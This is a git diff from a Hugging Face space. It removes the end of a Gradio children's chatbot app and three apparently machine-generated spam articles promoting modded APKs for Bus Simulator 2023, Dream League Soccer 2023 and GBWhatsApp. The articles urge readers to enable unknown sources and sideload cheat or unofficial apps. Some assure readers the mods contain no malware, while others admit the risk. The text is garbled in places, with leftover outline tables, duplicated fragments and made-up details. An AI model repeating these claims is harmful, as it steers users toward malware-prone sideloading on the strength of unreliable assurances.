-          if len(chunk) > 12 and "content" in json.loads(chunk[6:])['choices'][0]['delta']:
-              partial_words = partial_words + json.loads(chunk[6:])['choices'][0]["delta"]["content"]
-              if token_counter == 0:
-                history.append(" " + partial_words)
-              else:
-                history[-1] = partial_words
-              chat = [(history[i], history[i + 1]) for i in range(0, len(history) - 1, 2) ]  # convert to tuples of list
-              token_counter+=1
-              yield chat, history, chat_counter, response  # resembles {chatbot: chat, state: history}  
-                   
-#Resetting to blank
-def reset_textbox():
-    return gr.update(value='')
-
-#to set a component as visible=False
-def set_visible_false():
-    return gr.update(visible=False)
-
-#to set a component as visible=True
-def set_visible_true():
-    return gr.update(visible=True)
-
-
-
-title = """<h1 align="center">🎉📚 Super Learning Buddy for Primary School Students 🤖✨</h1>"""
-
-#Using info to add additional information about System message in GPT4
-system_msg_info = """🤖✨ Choose your own learning buddy from the list! 📚🚀"""
-
-# Modifying existing Gradio Theme
-theme = gr.themes.Soft(primary_hue="indigo", secondary_hue="blue", neutral_hue="blue",
-                      text_size=gr.themes.sizes.text_lg)                
-
-with gr.Blocks(css = """#col_container { margin-left: auto; margin-right: auto;} #chatbot {height: 520px; overflow: auto;}""",
-                      theme=theme) as demo:
-    gr.HTML(title)
-    gr.HTML("""<h3 align="center">🎉🚀 Meet your fun Learning Buddy, ready for all thinking adventures! 🧠✨</h1>""")
-    
-    with gr.Column(elem_id = "col_container"):
-        #GPT4 API Key is provided by Huggingface 
-        with gr.Accordion(label="Select you Coach:", open=False):
-            system_msg = gr.Textbox(label="Choose the type of Coach to help guide you", info = system_msg_info, value="")
-            accordion_msg = gr.HTML(value="🚧 To set System message you will have to refresh the app", visible=False)
-
-        with gr.Accordion(label="Examples of Coaches using thinking routines:", open=False):
-            gr.Examples(
-                examples=[[thinking_routine_prompt(subject, routine)] for subject, routine in thinking_routine_examples],
-                inputs=system_msg,
-            )
-
-        chatbot = gr.Chatbot(label='Learning Buddy', elem_id="chatbot")
-        inputs = gr.Textbox(placeholder= "Hi there!", label= "Type an input and press Enter")
-        state = gr.State([]) 
-
-        with gr.Row():
-            with gr.Column(scale=7):
-                b1 = gr.Button().style(full_width=True)
-            with gr.Column(scale=3):
-                server_status_code = gr.Textbox(label="Status code from OpenAI server", )
-    
-        #top_p, temperature
-        with gr.Accordion("Parameters", open=False):
-            top_p = gr.Slider( minimum=-0, maximum=1.0, value=1.0, step=0.05, interactive=True, label="Top-p (nucleus sampling)",)
-            temperature = gr.Slider( minimum=-0, maximum=5.0, value=1.0, step=0.1, interactive=True, label="Temperature",)
-            chat_counter = gr.Number(value=0, visible=False, precision=0)
-
-    #Event handling
-    inputs.submit( predict, [system_msg, inputs, top_p, temperature, chat_counter, chatbot, state], [chatbot, state, chat_counter, server_status_code],)  #openai_api_key
-    b1.click( predict, [system_msg, inputs, top_p, temperature, chat_counter, chatbot, state], [chatbot, state, chat_counter, server_status_code],)  #openai_api_key
-    
-    inputs.submit(set_visible_false, [], [system_msg])
-    b1.click(set_visible_false, [], [system_msg])
-    inputs.submit(set_visible_true, [], [accordion_msg])
-    b1.click(set_visible_true, [], [accordion_msg])
-    
-    b1.click(reset_textbox, [], [inputs])
-    inputs.submit(reset_textbox, [], [inputs])
-        
-demo.queue(max_size=99, concurrency_count=20).launch(share=False)
\ No newline at end of file
diff --git a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Bus Simulator 2023 Mod APK The Ultimate Public Transport Simulation Game with Unlimited Money.md b/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Bus Simulator 2023 Mod APK The Ultimate Public Transport Simulation Game with Unlimited Money.md
deleted file mode 100644
index 6e8c589501a2ba89d1b261a4b314660df25cf350..0000000000000000000000000000000000000000
--- a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Bus Simulator 2023 Mod APK The Ultimate Public Transport Simulation Game with Unlimited Money.md	
+++ /dev/null
@@ -1,96 +0,0 @@
-<br />
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-<li><strong>Internet connection:</strong> Your device should have a stable internet connection to download the apk file and the data file.</li>
-<li><strong>Permission settings:</strong> Your device should allow installation from unknown sources. You can enable this by going to Settings > Security > Unknown Sources and turning it on.</li>
-</ul>
- <h3>Steps to download and install Bus Simulator 2023 mod apk</h3>
-<p>Once you have checked the requirements, you can follow these steps to download and install Bus Simulator 2023 mod apk unlimited money on your device:</p>
-<ol>
-<li><strong>Download the apk file and the data file:</strong> The first step is to download the apk file and the data file of Bus Simulator 2023 mod apk unlimited money from a reliable source. You can use the link below to download them:<br>
-<a href="">Bus Simulator 2023 Mod APK Unlimited Money Download Link</a></li>
-<li><strong>Install the apk file:</strong> The next step is to install the apk file on your device. To do this, locate the downloaded apk file in your file manager and tap on it. You may see a warning message asking you to confirm the installation. Just tap on Install and wait for the process to finish.</li>
-<li><strong>Extract and copy the data file:</strong> The final step is to extract and copy the data file to the right folder on your device. To do this, locate the downloaded data file in your file manager and tap on it. You may need a zip extractor app to unzip the file. After unzipping the file, you will see a folder named <code>com.ovilex.bussimulator2023</code>. Copy this folder and paste it in this location: <code>Android > Data</code>.</li>
-</ol>
-<p>Congratulations! You have successfully downloaded and installed Bus Simulator 2023 mod apk unlimited money on your device. Now you can launch the game and enjoy it with unlimited money and all features unlocked.</p>
- <h2>Tips and tricks for playing Bus Simulator 2023 mod apk</h2>
-<p>If you want to improve your skills and performance in Bus Simulator 2023 mod apk, here are some tips and tricks that you can use:</p>
- <h3>Choose your bus wisely</h3>
-<p>In Bus Simulator 2023 mod apk, you can choose from over 30 buses, each with its own characteristics, such as speed, capacity, fuel consumption, etc. You should choose your bus wisely according to your preferences and needs. For example, if you want to drive fast and reach your destination quickly, you should choose a bus with high speed and low fuel consumption. If you want to transport more passengers and earn more money, you should choose a bus with high capacity and low maintenance cost.</p>
- <h3>Follow the traffic rules and avoid accidents</h3>
-<p>In Bus Simulator 2023 mod apk, you have to follow the traffic rules and avoid accidents while driving your bus. You have to obey the traffic lights, speed limits, signs, signals, etc. You also have to avoid hitting other vehicles, pedestrians, animals, etc. If you break the traffic rules or cause accidents, you will lose money and reputation points. You may <p>You may also get fined or arrested by the police. Therefore, you should drive carefully and responsibly, and respect the traffic rules and other road users.</p>
- <h3>Upgrade your bus and unlock new routes</h3>
-<p>In Bus Simulator 2023 mod apk, you can upgrade your bus and unlock new routes to enhance your gameplay. You can upgrade your bus with different parts and accessories, such as engine, brakes, tires, suspension, horn, lights, etc. You can also unlock new routes and cities by completing missions and challenges, or by paying with money. Upgrading your bus and unlocking new routes will help you improve your performance, earn more money and rewards, and explore new places.</p>
- <h3>Earn more money and rewards by completing missions and challenges</h3>
-<p>In Bus Simulator 2023 mod apk, you can earn more money and rewards by completing missions and challenges in the career mode. Missions are tasks that you have to complete within a given time limit, such as transporting a certain number of passengers, reaching a certain destination, driving a certain distance, etc. Challenges are optional objectives that you can complete to earn extra money and rewards, such as driving without accidents, driving at night, driving in bad weather, etc. Completing missions and challenges will help you increase your level, reputation, and income.</p>
- <h2>Conclusion</h2>
-<p>Bus Simulator 2023 mod apk unlimited money is a great game for anyone who loves driving buses and transporting passengers across different cities. It offers realistic and immersive gameplay, various buses to choose from, different cities to explore, dynamic weather conditions and day and night cycles, career mode, and more. With Bus Simulator 2023 mod apk unlimited money, you can also enjoy the game with unlimited money and all features unlocked. You can download and install Bus Simulator 2023 mod apk unlimited money easily and safely on your android device by following the steps mentioned above. You can also use the tips and tricks provided above to improve your skills and performance in the game. So, what are you waiting for? Download Bus Simulator 2023 mod apk unlimited money now and start driving your bus.</p>
- <h2>FAQs</h2>
-<p>Here are some frequently asked questions about Bus Simulator 2023 mod apk unlimited money:</p>
-<ul>
-<li><strong>Q: Is Bus Simulator 2023 mod apk unlimited money safe to download and install?</strong><br>
-A: Yes, Bus Simulator 2023 mod apk unlimited money is safe to download and install on your android device. It does not contain any viruses or malware that can harm your device or data. However, you should always download it from a reliable source and scan it with an antivirus app before installing it.</li>
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-A: No, you do not need to root your device to install Bus Simulator 2023 mod apk unlimited money. You just need to enable installation from unknown sources in your device settings.</li>
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-A: No, Bus Simulator 2023 mod apk unlimited money is an offline game that does not require an internet connection to play. You can play it anytime and anywhere without worrying about data usage or connection issues.</li>
-<li><strong>Q: Can I update Bus Simulator 2023 mod apk unlimited money to the latest version?</strong><br>
-A: Yes, you can update Bus Simulator 2023 mod apk unlimited money to the latest version whenever it is available. However, you may lose some of the mod features or face compatibility issues after updating. Therefore, it is recommended that you backup your game data before updating.</li>
-<li><strong>Q: How can I contact the developer of Bus Simulator 2023 mod apk unlimited money?</strong><br>
-A: You can contact the developer of Bus Simulator 2023 mod apk unlimited money by visiting their official website or social media pages. You can also send them an email at support@ovilex.com or leave a comment on their Google Play Store page.</li>
-</ul></p> 401be4b1e0<br />
-<br />
-<br />
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diff --git a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Dream League Soccer 2023 APK MOD tudo desbloqueado e dinheiro infinito para voc dominar o jogo.md b/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Dream League Soccer 2023 APK MOD tudo desbloqueado e dinheiro infinito para voc dominar o jogo.md
deleted file mode 100644
index 830888c051233d3f3ed204b170ba55cc072163bb..0000000000000000000000000000000000000000
--- a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Dream League Soccer 2023 APK MOD tudo desbloqueado e dinheiro infinito para voc dominar o jogo.md	
+++ /dev/null
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-<br />
-<h1>How to Download APK Dream League Soccer 2023 Dinheiro Infinito</h1>
-<p>If you are a fan of soccer games, you might have heard of Dream League Soccer 2023, one of the most popular and realistic soccer games on mobile devices. But did you know that you can download an APK file of this game and get unlimited money in the game? This is what Dinheiro Infinito means, and in this article, we will show you how to do it.</p>
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-<h2>What is Dream League Soccer 2023?</h2>
-<p>Dream League Soccer 2023 is a soccer game developed by First Touch Games Ltd. that puts you in the heart of the action with a fresh look and brand new features. You can build your dream team from over 4,000 FIFPRO™ licensed players and take to the field against the world’s best soccer clubs. You can also customize your manager, your stadium, your kit, and your logo, as well as participate in regular seasons and events to win unrivaled rewards. The game has stunning graphics, realistic animations, immersive commentary, and exclusive soundtrack. </p>
-<h3>Features of Dream League Soccer 2023</h3>
-<p>Some of the features of Dream League Soccer 2023 are: </p>
-<ul>
-<li>Build and develop your dream team from over 4,000 FIFPRO™ licensed players</li>
-<li>Full 3D motion-captured kicks, tackles, celebrations and goalkeeper saves gives unmatched realism</li>
-<li>Reach legendary status as you rise through 8 divisions and compete in more than 10 cup competitions</li>
-<li>Build your soccer empire from your own Stadium to Medical, Commercial and Training facilities</li>
-<li>Recruit Agents and Scouts to help identify top talent in the transfer market</li>
-<li>Immersive and exciting match commentary keeps you in the heart of the action</li>
-<li>Use Coaches to develop your players technical and physical abilities</li>
-<li>Customise your team’s kit and logo or import your own creations</li>
-<li>Take part in regular seasons and events to win unrivalled rewards</li>
-<li>Compete against players from across the globe with Dream League Live</li>
-<li>Exclusive soundtrack featuring BEKA, The Luka State, Vukovi and more!</li>
-</ul>
-<h3>Why play Dream League Soccer 2023?</h3>
-<p>Dream League Soccer 2023 is a game that will appeal to anyone who loves soccer. Whether you are a casual player or a hardcore fan, you will find something to enjoy in this game. You can create your own team, manage it, train it, and compete with other teams from around the world. You can also experience the thrill of playing in realistic stadiums with realistic crowds and sounds. You can also challenge yourself with different modes and difficulties, as well as test your skills against other players online. Dream League Soccer 2023 is a game that will keep you entertained for hours.</p>
-<h2>What is APK?</h2>
-<p>APK stands for Android Package Kit, which is a file format used by Android devices to distribute and install applications. APK files contain all the necessary files for an app to run on an Android device, such as code, resources, assets, certificates, and manifest.</p>
-<h3>Benefits of APK files</h3>
-<p>Some of the benefits of using APK files are:</ <p>Some of the benefits of using APK files are:</p>
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-<ul>
-<li>You can access apps that are not available on the Google Play Store, such as beta versions, region-locked apps, or modded apps.</li>
-<li>You can update apps faster than waiting for the official updates from the developers or the Play Store.</li>
-<li>You can save storage space on your device by deleting the APK file after installing the app.</li>
-<li>You can backup and restore your apps easily by using APK files.</li>
-</ul>
-<h3>Risks of APK files</h3>
-<p>However, using APK files also comes with some risks, such as:</p>
-<ul>
-<li>You may download malicious or infected APK files that can harm your device or compromise your privacy.</li>
-<li>You may violate the terms and conditions of the app developers or the Play Store by using unauthorized or modified apps.</li>
-<li>You may encounter compatibility issues or bugs with some APK files that are not optimized for your device or Android version.</li>
-<li>You may lose some features or functionality of the app by using an outdated or unofficial APK file.</li>
-</ul>
-<h2>What is Dinheiro Infinito?</h2>
-<p>Dinheiro Infinito is a Portuguese term that means "infinite money" or "unlimited money". It is a cheat or a hack that allows you to get unlimited money in some games, such as Dream League Soccer 2023. With Dinheiro Infinito, you can buy anything you want in the game, such as players, kits, stadiums, coaches, agents, scouts, and more. You can also upgrade your facilities and improve your team's performance without worrying about the budget.</p>
-<h3>How to get Dinheiro Infinito in Dream League Soccer 2023</h3>
-<p>There are different ways to get Dinheiro Infinito in Dream League Soccer 2023, but one of the easiest and most common ways is to download an APK file that has the Dinheiro Infinito feature enabled. This means that you will install a modified version of the game that has unlimited money from the start. You can find many websites that offer such APK files, but you have to be careful and choose a reputable and safe one.</p>
-<h3>Advantages and disadvantages of Dinheiro Infinito</h3>
-<p>Dinheiro Infinito can be fun and exciting for some players who want to enjoy the game without any limitations or restrictions. However, it can also have some drawbacks, such as:</p>
-<ul>
-<li>It can make the game too easy and boring, as you will not face any challenges or goals to achieve.</li>
-<li>It can ruin the balance and fairness of the game, as you will have an unfair advantage over other players who play legitimately.</li>
-<li>It can cause errors or glitches in the game, as it may not be compatible with the original version of the game or the latest updates.</li>
-<li>It can expose your device to malware or viruses, as some APK files may contain harmful code or hidden programs.</li>
-</ul>
-<h2>How to download APK Dream League Soccer 2023 Dinheiro Infinito</h2>
-<p>If you still want to download APK Dream League Soccer 2023 Dinheiro Infinito, you can follow these steps:</p>
-<h3>Step 1: Enable unknown sources on your device</h3>
-<p>Before you can install any APK file on your device, you have to enable unknown sources in your settings. This will allow you to install apps from sources other than the Play Store. To do this, go to Settings > Security > Unknown Sources and toggle it on. You may see a warning message that says installing from unknown sources may harm your device. Tap OK to proceed.</p>
-<h3>Step 2: Find a reliable APK download site</h3>
-<p>The next step is to find a website that offers APK Dream League Soccer 2023 Dinheiro Infinito. You can use a search engine like Google or Bing to look for one, but be careful and check the reviews and ratings of the site before downloading anything. Some sites may be fake or malicious and may try to trick you into downloading unwanted or harmful files. You can also use sites like APKPure or APKMirror that are known for providing safe and verified APK files.</p> <h3>Step 3: Download and install the APK file</h3>
-<p>Once you have found a reliable site, you can download the APK file of Dream League Soccer 2023 Dinheiro Infinito. You may see a pop-up window that asks you to confirm the download. Tap OK to start the download. After the download is complete, you can open the APK file and tap Install to install the app on your device. You may see another pop-up window that asks you to grant permissions to the app. Tap Accept to proceed.</p>
-<h3>Step 4: Enjoy the game with unlimited money</h3>
-<p>After the installation is done, you can launch the game and enjoy it with unlimited money. You will see that your money is infinite and you can buy anything you want in the game. You can also customize your team, your manager, your stadium, and more. You can also play online with other players who have the same APK file or offline with the AI.</p>
-<h2>Conclusion</h2>
-<p>In this article, we have shown you how to download APK Dream League Soccer 2023 Dinheiro Infinito, which is a modified version of the game that gives you unlimited money. We have also explained what Dream League Soccer 2023 is, what APK is, and what Dinheiro Infinito is. We have also discussed the benefits and risks of using APK files and Dinheiro Infinito, as well as the steps to download and install the APK file. We hope that this article has been helpful and informative for you. However, we also advise you to be careful and responsible when using APK files and Dinheiro Infinito, as they may have some negative consequences for your device or your gaming experience.</p>
-<h2>FAQs</h2>
-<p>Here are some frequently asked questions about APK Dream League Soccer 2023 Dinheiro Infinito:</p>
-<h4>Q: Is APK Dream League Soccer 2023 Dinheiro Infinito legal?</h4>
-<p>A: APK Dream League Soccer 2023 Dinheiro Infinito is not legal, as it violates the terms and conditions of the game developers and the Play Store. It is also considered as cheating, as it gives you an unfair advantage over other players who play legitimately.</p>
-<h4>Q: Is APK Dream League Soccer 2023 Dinheiro Infinito safe?</h4>
-<p>A: APK Dream League Soccer 2023 Dinheiro Infinito is not safe, as it may contain malware or viruses that can harm your device or compromise your privacy. It may also cause errors or glitches in the game, as it may not be compatible with the original version of the game or the latest updates.</p>
-<h4>Q: Can I play online with APK Dream League Soccer 2023 Dinheiro Infinito?</h4>
-<p>A: You can play online with APK Dream League Soccer 2023 Dinheiro Infinito, but only with other players who have the same APK file. You cannot play online with players who have the official version of the game or a different APK file.</p>
-<h4>Q: Can I get banned for using APK Dream League Soccer 2023 Dinheiro Infinito?</h4>
-<p>A: Yes, you can get banned for using APK Dream League Soccer 2023 Dinheiro Infinito, as it is detected by the game's anti-cheat system. If you get banned, you will lose your progress and your account in the game.</p>
-<h4>Q: Can I uninstall APK Dream League Soccer 2023 Dinheiro Infinito?</h4>
-<p>A: Yes, you can uninstall APK Dream League Soccer 2023 Dinheiro Infinito anytime you want. You just have to go to Settings > Apps > Dream League Soccer 2023 > Uninstall and confirm your action. However, you will also lose all your data and money in the game.</p> 197e85843d<br />
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diff --git a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Enjoy More Features and Privacy with GBWhatsApp APK Download.md b/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Enjoy More Features and Privacy with GBWhatsApp APK Download.md
deleted file mode 100644
index 3b26dea51c855f77e89afbd8d8a5c5ffd65d9289..0000000000000000000000000000000000000000
--- a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Enjoy More Features and Privacy with GBWhatsApp APK Download.md	
+++ /dev/null
@@ -1,193 +0,0 @@
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-<br> - Benefits: List some of the main advantages of using GB WhatsApp, such as extra features, customisation, privacy, and dual accounts. <br> - Risks: Mention some of the potential drawbacks of using GB WhatsApp, such as security, compatibility, and legal issues. | | H2: How to download GB WhatsApp APK for Android | - Requirements: Specify the minimum Android version and device specifications needed to run GB WhatsApp. <br> - Sources: Provide some reliable and safe websites where users can download the GB WhatsApp APK file. <br> - Steps: Explain the process of downloading and installing GB WhatsApp on an Android device, including enabling unknown sources, granting permissions, verifying phone number, and restoring chats. | | H3: How to update GB WhatsApp to the latest version | - Importance: Emphasise the need to update GB WhatsApp regularly to avoid bugs, errors, and bans. <br> - Methods: Describe two ways to update GB WhatsApp: manually or automatically. <br> - Tips: Give some useful tips on how to backup chats, clear cache, and check for updates. | | H4: How to use GB WhatsApp effectively and safely | - Features: Highlight some of the most popular and useful features of GB WhatsApp, such as themes, emojis, stickers, status, broadcast, group chat, and media sharing. <br> - Settings: Guide users on how to access and adjust the settings of GB WhatsApp, such as notifications, privacy, security, data usage, and storage. <br> - Precautions: Advise users on how to avoid potential problems with GB WhatsApp, such as malware, spam, phishing, and account suspension. | | H2: Conclusion and FAQs | - Summary: Recap the main points of the article and provide a clear and concise conclusion. <br> - FAQs: Answer five common questions that users may have about GB WhatsApp. | Table 2: Article with HTML formatting <h1>What is GB WhatsApp and why you should download it</h1>
-<p>If you are a regular user of WhatsApp, you may have heard of GB WhatsApp. This is a modified version of the official WhatsApp app that offers more features and customisation options than the original one. In this article, we will explain what GB WhatsApp is, how to download it for Android devices, how to update it to the latest version, and how to use it effectively and safely.</p>
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-<h2>Benefits</h2>
-<p>GB WhatsApp has many advantages over the official WhatsApp app. Some of them are:</p>
-<ul>
-<li><b>Extra features:</b> GB WhatsApp allows you to access more functionalities than the standard WhatsApp app, such as multilanguage support, extra emojis, more broadcast messages, and an enhanced privacy mode.</li>
-<li><b>Customisation:</b> GB WhatsApp lets you change the look and feel of the app according to your preference. You can choose from hundreds of themes, fonts, colours, wallpapers, and icons.</li>
-<li><b>Privacy:</b> GB WhatsApp gives you more control over your privacy settings than the original WhatsApp app. You can hide your online status, last seen, blue ticks, double ticks, typing notification, and more.</li>
-<li><b>Dual accounts:</b> GB WhatsApp enables you to have two WhatsApp accounts on the same device. This is useful if you want to separate your personal and professional contacts.</li>
-</ul>
-<h2>Risks</h2>
-<p>However, using GB WhatsApp also comes with some risks that you should be aware of. Some of them are:</p>
-<ul>
-<li><b>Security:</b> GB WhatsApp is not an official app from WhatsApp Inc., which means that it is not verified or endorsed by them. Therefore, it may contain malware or spyware that can harm your device or steal your data.</li>
-<li><b>Compatibility:</b> GB WhatsApp may not be compatible with some devices or Android versions. It may also cause conflicts or errors with other apps on your device.</li>
-<li><b>Legal issues:</b> GB WhatsApp violates the terms and conditions of WhatsApp Inc., which means that using it may be illegal in some countries or regions. It may also result in your account being banned or suspended by WhatsApp Inc.</li>
-</ul>
-<h2>How to download GB WhatsApp APK for Android</h2>
-<p>If you want to try out GB WhatsApp on your Android device, you will need to download its APK file from a third-party website. Here are the steps you need to follow:</p>
-<h3>Requirements</h3>
-<p>Before you download GB WhatsApp, make sure that your device meets the following requirements:</p>
-<ul>
-<li>Your device should have Android 4.0 or higher.</li>
-<li>Your device should have at least 1 GB of RAM and 100 MB of free storage space.</li>
-<li>Your device should have a stable internet connection.</li>
-<li>You should have a backup of your WhatsApp chats and media files.</li>
-</ul>
-<h3>Sources</h3>
-<p>There are many websites that offer GB WhatsApp APK files, but not all of them are trustworthy or safe. Some of them may contain viruses, malware, or fake versions of the app. Therefore, you should be careful when choosing a source to download GB WhatsApp. Here are some of the reliable and safe websites where you can download GB WhatsApp APK files:</p>
-<table>
-<tr>
-<th>Website</th>
-<th>URL</th>
-<th>Version</th>
-<th>Date</th>
-</tr>
-<tr>
-<td>GBPlus</td>
-<td><a href="">https://gbplus.net/download-gbwhatsapp-apk/</a></td>
-<td>17.35</td>
-<td>June 19, 2023</td>
-</tr>
-<tr>
-<td>GBMods</td>
-<td><a href="">https://gbmods.co/gbwhatsapp/</a></td>
-<td>17.35</td>
-<td>June 19, 2023</td>
-</tr>
-<tr>
-<td>GBWhatsApp.net</td>
-<td><a href="">https://gbwhatsapp.net/download/</a></td>
-<td>17.35</td>
-<td>June 19, 2023</td>
-</tr>
-<tr>
-<td>APKPure</td>
-<td><a href="">https://apkpure.com/gb-whatsapp/com.gbwhatsapp/</a></td>
-<td>17.35</td>
-<td>June 19, 2023</td>
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- <td>Malavida </td>
- <td><a href="">https://www.malavida.com/en/soft/gb-whatsapp/android/</a></td>
- <td>17.35 </td>
- <td>June 19, 2023 </td>
- </tr>
- </table>
- <h3>Steps </h3>
- <p>To download and install GB WhatsApp on your Android device, follow these steps: <ol>
- <li>Go to one of the websites mentioned above and click on the download button to get the GB WhatsApp APK file. <li>Once the download is complete, go to your device settings and enable the option to install apps from unknown sources. This will allow you to install GB WhatsApp without any issues. <li>Locate the GB WhatsApp APK file on your device and tap on it to start the installation process. <li>Follow the instructions on the screen and grant the necessary permissions to GB WhatsApp. <li>Enter your phone number and verify it with an OTP code. <li>If you want to restore your previous WhatsApp chats and media files, choose the restore option and wait for the process to finish. <li>Congratulations! You have successfully installed GB WhatsApp on your Android device. You can now enjoy its features and customisation options. <h2>How to update GB WhatsApp to the latest version</h2>
-<p>It is important to update GB WhatsApp regularly to avoid bugs, errors, and bans. Updating GB WhatsApp will also ensure that you get the latest features and improvements of the app. There are two ways to update GB WhatsApp: manually or automatically.</p>
-<h3>Manually</h3>
-<p>To update GB WhatsApp manually, you will need to download the latest GB WhatsApp APK file from one of the sources mentioned above and install it on your device. Here are the steps you need to follow:</p>
-<ol>
-<li>Go to your device settings and backup your GB WhatsApp chats and media files.</li>
-<li>Go to one of the websites mentioned above and download the latest GB WhatsApp APK file.</li>
-<li>Locate the GB WhatsApp APK file on your device and tap on it to start the installation process.</li>
-<li>Follow the instructions on the screen and grant the necessary permissions to GB WhatsApp.</li>
-<li>Enter your phone number and verify it with an OTP code.</li>
-<li>Choose the restore option and wait for the process to finish.</li>
-<li>Congratulations! You have successfully updated GB WhatsApp to the latest version. You can now enjoy its features and customisation options.</li>
-</ol>
-<h3>Automatically</h3>
-<p>To update GB WhatsApp automatically, you will need to enable the auto-update option in the app settings. Here are the steps you need to follow:</p>
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-<ol>
-<li>Open GB WhatsApp and tap on the menu icon (three dots) on the top right corner of the screen.</li>
-<li>Tap on "GB Settings" and then on "Updates".</li>
-<li>Tap on "Auto Update" and choose the frequency of updates (daily, weekly, or monthly).</li>
-<li>Tap on "Check for Updates" and wait for the app to scan for new versions.</li>
-<li>If there is a new version available, tap on "Download Now" and wait for the download to complete.</li>
-<li>Tap on "Install Now" and follow the instructions on the screen.</li>
-<li>Congratulations! You have successfully updated GB WhatsApp to the latest version. You can now enjoy its features and customisation options.</li>
-</ol>
-<h4>Tips</h4>
-<p>Here are some useful tips on how to backup chats, clear cache, and check for updates:</p>
-<ul>
-<li>To backup your chats and media files, go to your device settings and tap on "Chats". Then tap on "Chat Backup" and choose the frequency of backups (daily, weekly, or monthly). You can also backup your data to Google Drive or your local storage.</li>
-<li>To clear cache, go to your device settings and tap on "Storage". Then tap on "Clear Cache" and confirm your action. This will free up some space on your device and improve its performance.</li>
-<li>To check for updates manually, go to your device settings and tap on "Updates". Then tap on "Check for Updates" and wait for the app to scan for new versions. If there is a new version available, tap on "Download Now" and follow the instructions on the screen.</li>
-</ul> <h2>How to use GB WhatsApp effectively and safely</h2>
-<p>Now that you have downloaded and updated GB WhatsApp, you may be wondering how to use it effectively and safely. In this section, we will show you some of the most popular and useful features of GB WhatsApp, how to access and adjust the settings of the app, and how to avoid potential problems with GB WhatsApp.</p>
-<h3>Features</h3>
-<p>GB WhatsApp has many features that make it more fun and convenient than the official WhatsApp app. Some of them are:</p>
-<ul>
-<li><b>Themes:</b> GB WhatsApp allows you to change the appearance of the app by choosing from hundreds of themes. You can also create your own theme or download themes from other users. To access the themes, go to your device settings and tap on "GB Settings". Then tap on "Themes" and browse through the available options.</li>
-<li><b>Emojis:</b> GB WhatsApp offers more emojis than the standard WhatsApp app, including some exclusive ones. You can also use stickers and GIFs to express yourself better. To access the emojis, stickers, and GIFs, tap on the emoji icon on the bottom left corner of the chat screen.</li>
-<li><b>Status:</b> GB WhatsApp lets you upload longer videos and photos as your status. You can also view other people's status without them knowing. To access the status, tap on the status icon on the top left corner of the app screen.</li>
-<li><b>Broadcast:</b> GB WhatsApp enables you to send messages to multiple contacts at once without creating a group chat. You can also hide your broadcast list from others. To access the broadcast, tap on the menu icon (three dots) on the top right corner of the app screen. Then tap on "New Broadcast" and select the contacts you want to message.</li>
-<li><b>Group chat:</b> GB WhatsApp allows you to create and join group chats with up to 256 participants. You can also mute, archive, or pin group chats. To access the group chat, tap on the menu icon (three dots) on the top right corner of the app screen. Then tap on "New Group" and add the contacts you want to chat with.</li>
-<li><b>Media sharing:</b> GB WhatsApp lets you send and receive more types of media files than the original WhatsApp app, such as documents, audio, video, images, and contacts. You can also send larger files up to 100 MB in size. To access the media sharing, tap on the attachment icon (paperclip) on the bottom right corner of the chat screen.</li>
-</ul>
-<h4>Settings</h4>
-<p>GB WhatsApp gives you more control over your app settings than the standard WhatsApp app. You can access and adjust the settings of GB WhatsApp by tapping on the menu icon (three dots) on the top right corner of the app screen. Then tap on "GB Settings" and explore the available options. Some of them are:</p>
-<ul>
-<li><b>Notifications:</b> You can customise your notification settings for GB WhatsApp, such as sound, vibration, light, popup, and badge. You can also enable or disable notifications for specific chats or groups.</li>
-<li><b>Privacy:</b> You can modify your privacy settings for GB WhatsApp, such as hiding your online status, last seen, blue ticks, double ticks, typing notification, recording notification, and microphone notification. You can also enable or disable privacy settings for specific chats or groups.</li>
-<li><b>Security:</b> You can enhance your security settings for GB WhatsApp, such as locking your app with a password, pattern, or fingerprint. You can also enable or disable security settings for specific chats or groups.</li>
-<li><b>Data usage:</b> You can manage your data usage settings for GB WhatsApp, such as limiting media downloads when using mobile data or roaming. You can also enable or disable data usage settings for specific chats or groups.</li>
-<li><b>Storage:</b> You can check your storage usage settings for GB WhatsApp, such as how much space is occupied by each chat or group. You can also clear or delete storage usage for specific chats or groups.</li>
-</ul>
-<h4>Precautions</h4>
-<p>To avoid potential problems with GB WhatsApp, you should take some precautions when using it. Some of them are:</p>
-<ul>
-<li><b>Malware:</b> To prevent malware or spyware from infecting your device or stealing your data, you should only download GB WhatsApp APK files from reliable and safe sources. You should also scan your device regularly with a trusted antivirus app.</li>
-<li><b>Spam:</b> To avoid spam messages or calls from unknown numbers or contacts, you should block or report them as soon as possible. You should also avoid clicking on suspicious links or attachments that may contain viruses or malware.</li>
-<li><b>Phishing:</b> To protect yourself from phishing attempts that may try to trick you into revealing your personal or financial information, you should never share your GB WhatsApp verification code, password, or OTP with anyone. You should also be wary of any messages or calls that claim to be from WhatsApp Inc. or GB WhatsApp.</li>
-<li><b>Account suspension:</b> To prevent your account from being banned or suspended by WhatsApp Inc., you should not use GB WhatsApp for illegal or unethical purposes. You should also avoid sending spam messages, abusing other users, or violating the terms and conditions of WhatsApp Inc.</li>
-</ul>
-<h2>Conclusion and FAQs</h2>
-<p>In conclusion, GB WhatsApp is a modified version of the official WhatsApp app that offers more features and customisation options than the original one. However, using GB WhatsApp also comes with some risks that you should be aware of. Therefore, you should download GB WhatsApp from reliable sources, update it regularly, and use it effectively and safely. Here are some FAQs that may help you with GB WhatsApp:</p>
-<h3>FAQs</h3>
-<ol>
-<li><b>Is GB WhatsApp safe to use?</b><br>
-GB WhatsApp is not an official app from WhatsApp Inc., which means that it is not verified or endorsed by them. Therefore, it may not be safe to use, as it may contain malware or spyware that can harm your device or steal your data. However, if you download GB WhatsApp from reliable sources, scan your device regularly, and take the necessary precautions, you can minimise the risks and enjoy its features.</li>
-<li><b>Is GB WhatsApp legal to use?</b><br>
